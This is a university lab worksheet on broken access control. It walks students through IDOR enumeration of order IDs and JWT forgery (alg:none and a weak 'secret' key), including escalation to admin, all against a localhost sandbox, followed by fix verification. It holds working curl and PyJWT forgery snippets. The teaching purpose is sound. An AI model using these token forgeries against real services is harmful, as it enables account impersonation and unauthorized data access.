Course: Software Security (KOSEN69) · Week 6 Aligned: OWASP 2025 A01 Broken Access Control, A07 Authentication Failures · CWE-639 (IDOR), CWE-347 (improper signature verification), CWE-321 (weak hardcoded key) Signature games: 🗺️ IDOR Treasure Hunt — walk the
oidnumbers to loot orders that aren't yours · 🔏 JWT Forgery — mint a token you were never given.
⚠️ Ethics note: Forging tokens and accessing other users' objects is only legal in this sandbox (
vulnerable_app.py) and your own Juice Shop. Doing it to a real service is unauthorized access. Keep all activity insidehttp://localhost:8080.
Part 1 — Student Information
| Name | Student ID | Date | Group |
|---|---|---|---|
Part 2 — Lecture Questions
Answer in 2–4 sentences each.
- Distinguish authentication from authorization. In
vulnerable_app.py,get_ordercallscurrent_user()but ignores its result (L63) — which of the two is missing? - What is IDOR (CWE-639)? Why is
/api/orders/<oid>exploitable, and what single check insolution_app.py(L64) closes it? - Explain the
alg:noneJWT attack. Why does listing"none"inalgorithms=[...](L55) let an attacker submit an unsigned token? - Why is the hardcoded HMAC secret
"secret"(CWE-321) dangerous even ifalg:nonewere disabled? How does a strong random secret + pinned algorithm defend the token? - What do the JWT claims
expandaudadd, and why does the secure version reject tokens that lack them?
Part 3 — Hands-on Lab (150 min)
Learning goals: exploit IDOR, forge JWTs two ways (alg:none and weak secret), then prove solution_app.py enforces ownership and rejects forged tokens. Steps mirror attack.md.
Prerequisites: Docker + Docker Compose, curl, python3 with pyjwt, optionally Burp Suite. Working dir: labs/week06-authn-authz/.
Environment setup
cd labs/week06-authn-authz
docker compose up # python:3.12-slim + flask + pyjwt, runs vulnerable_app.py
# vulnerable app -> http://localhost:8080 (service name: authz-lab, port 8080)
Optional secondary target / proxy:
docker run --rm -p 3000:3000 bkimminich/juice-shop # -> http://localhost:3000
# Burp Suite: put the proxy listener AND the browser proxy on 127.0.0.1:8081.
# NOT 8080 — the lab app already owns host 8080 (docker-compose.yml, "8080:5000").
# Burp's own default listener is 8080, so you must change it: leave it there and
# either the listener refuses to start ("Address already in use") or, if it does
# bind, the browser's proxy address is the target's address and every request
# goes straight to the app instead of through Burp — you intercept nothing.
What to submit per task: the exact command/token, a screenshot of the JSON response, and a 2–3 sentence mitigation.
Task 0 — Onboarding (5 min). Get alice's token (from attack.md):
TOKEN=$(curl -s -X POST http://localhost:8080/login \
-H 'Content-Type: application/json' \
-d '{"user":"alice","pw":"alicepw"}' | python3 -c 'import sys,json;print(json.load(sys.stdin)["token"])')
echo "$TOKEN"
Confirm /api/orders/1 returns alice's Laptop order. Deliverable: screenshot of the token + order 1.
Task 1 — IDOR Treasure Hunt (30 min) 🗺️.
- Goal: read bob's order with alice's token.
- Steps:
curl -s http://localhost:8080/api/orders/1 -H "Authorization: Bearer $TOKEN" # yours
curl -s http://localhost:8080/api/orders/2 -H "Authorization: Bearer $TOKEN" # bob's — leaks!
- Deliverable: both responses + screenshot of bob's
Phoneorder + why the missing ownership check (CWE-639) is the root cause.
Task 2 — JWT Forgery via alg:none (30 min) 🔏.
- Goal: impersonate bob with an unsigned token (no secret needed).
- Steps:
FORGED=$(python3 - <<'PY'
import jwt
print(jwt.encode({"sub": "bob"}, key="", algorithm="none"))
PY
)
curl -s http://localhost:8080/api/orders/2 -H "Authorization: Bearer $FORGED"
- Deliverable: the forged token + screenshot of the accepted response + explanation of the
noneflaw (CWE-347).
Task 3 — JWT Forgery via weak secret (30 min) 🔏.
- Goal: sign a valid HS256 token because the secret is the guessable string
secret(CWE-321). - Steps:
FORGED2=$(python3 - <<'PY'
import jwt
print(jwt.encode({"sub": "bob"}, "secret", algorithm="HS256"))
PY
)
curl -s http://localhost:8080/api/orders/2 -H "Authorization: Bearer $FORGED2"
- Note: recent PyJWT prints an
InsecureKeyLengthWarningto stderr because"secret"is only 6 bytes — that is expected, the token still mints and is accepted. - Deliverable: token + screenshot + 2–3 sentences on why secret strength + key management matter.
Task 4 — Privilege escalation to admin via a forged token (25 min) 🔏.
- Goal: read the admin-only flag at
/api/admin— a page IDOR cannot reach: there is no object id to walk, and there is noadminaccount you could log in as (USERShas only alice and bob). The only way in is to forge your identity. - Steps: forge a token claiming
sub=admin(either technique from Task 2/3 works —alg:noneor the weak"secret"), then call/api/admin:
FORGED=$(python3 - <<'PY'
import jwt
print(jwt.encode({"sub": "admin"}, key="", algorithm="none"))
PY
)
curl -s http://localhost:8080/api/admin -H "Authorization: Bearer $FORGED"
You should get FLAG{...}. Then confirm alice's real token gets 403 forbidden on the same endpoint — proof the server's role check (if user != "admin") is fine; the break is purely that authentication accepted a forged identity.
- Deliverable: the forged token + screenshot of the flag + the
403for alice's real token, and 2–3 sentences: why IDOR can't reach this (horizontal access vs. vertical privilege escalation), and why the app's ownif user != "admin"check didn't save it.
Task 5 — Defend / fix it (30 min) 🛡️.
- Goal: prove
solution_app.pyblocks Tasks 1–4. - Steps: stop the vulnerable container (
Ctrl-C), then:
docker compose run --rm --service-ports authz-lab bash -c "pip install --no-cache-dir flask pyjwt && python solution_app.py"
Re-run: get a fresh alice token, then re-fire each attack. Expected: /api/orders/2 with alice's token → 403 forbidden (ownership check, L64); the alg:none token → 401 invalid token (algorithm pinned to HS256, L50); the "secret" token → 401 (strong random secret + required aud/exp, L10/40). For Task 4, /api/admin with a forged sub=admin token → 401 — the same current_user() fix (L50) rejects the forgery before the role check runs, so one fix closes every endpoint; alice's real token still gets 403 there (she isn't admin).
- Deliverable: screenshots of the 403 and the 401s (orders and
/api/admin) + name the fix line for each.
Part 4 — Reflection
- CWE/OWASP mapping: map IDOR → CWE-639 / A01, the JWT forgeries → CWE-347 & CWE-321 / A07.
- Real breach: the 2022 Optus breach exposed millions of customer records via an exposed/poorly-authorized API endpoint where identifiers could be enumerated — a textbook broken-access-control / IDOR-style failure. In 3–4 sentences connect it to Tasks 1 and 4 of this lab. (Alternative: the Peloton API IDOR disclosure.)
- Best mitigation: between deny-by-default ownership checks, pinning the JWT algorithm, and a strong managed secret, which control protects the most attack surface here, and why is server-side authorization non-negotiable?
Grading rubric (100)
| Criterion | Points |
|---|---|
| Part 2 — Lecture questions (conceptual accuracy) | 20 |
| Part 3 — Exploitation + evidence (payloads/tokens + screenshots, Tasks 1–4) | 40 |
| Part 3 — Defense (Task 5: fixes proven, lines cited) | 25 |
| Part 4 — Reflection (CWE/OWASP mapping, breach, mitigation) | 15 |
| Total | 100 |
Evidence & Integrity (required)
- Identity proof: every screenshot/diagram must show a terminal running
printf '%s | %s | ' "$(whoami)" '<YOUR-STUDENT-ID>'; date '+%F %T %Z'in the same image as the evidence. When the evidence is a browser page, a DevTools panel or a rendered response, put that terminal beside the browser and capture the whole screen — a cropped window carries nothing that identifies you, and the lab's own output is byte-identical for the whole cohort by design, so the stamp is the only thing that makes the shot yours. Generic or borrowed evidence is not accepted. - Personalized flag (if this lab issues one): ____________________ Flags are unique per student — submitting another student's flag is a violation. How to submit: learn.zcr.ai/submit (full guide:
SUBMISSION.mdin the repo root). - Explain in your own words (graded on your reasoning, not copied text):
- What did you do, and why did the vulnerability work?
- Why does your fix actually stop it — and what could still break it?
🤖 Audit the AI (required)
AI is a power tool you must distrust — you are graded on your critique, not the AI's answer.
- Ask an AI assistant to exploit or fix this week's vulnerability. Paste its full answer.
- Find what's wrong or risky in it — insecure code, a subtly incomplete fix, a hallucinated API/function/CVE, a missed edge case, or wrong reasoning. Quote the exact line(s).
- Produce the correct, verified version yourself and explain in 2–3 sentences why the AI's output was insufficient.
Disclose your AI use in the Part 1 table. This task counts toward your Defense + Reflection score.
🧠 Comprehension & Prompt (required)
A. Explain in Plain English (EiPE). In 2–3 sentences, in your own words, describe what this week's vulnerable code/endpoint actually does and why it is exploitable — explain the mechanism, don't dump jargon.
B. Prompt Problem. Write a single prompt that makes an AI produce a correct, secure fix for one finding. Run it: does the exploit now fail? If not, refine the prompt and try again. Submit the final prompt + the verified result. Graded on the prompt's precision and your verification — this trains problem decomposition and AI literacy (Denny et al. 2024).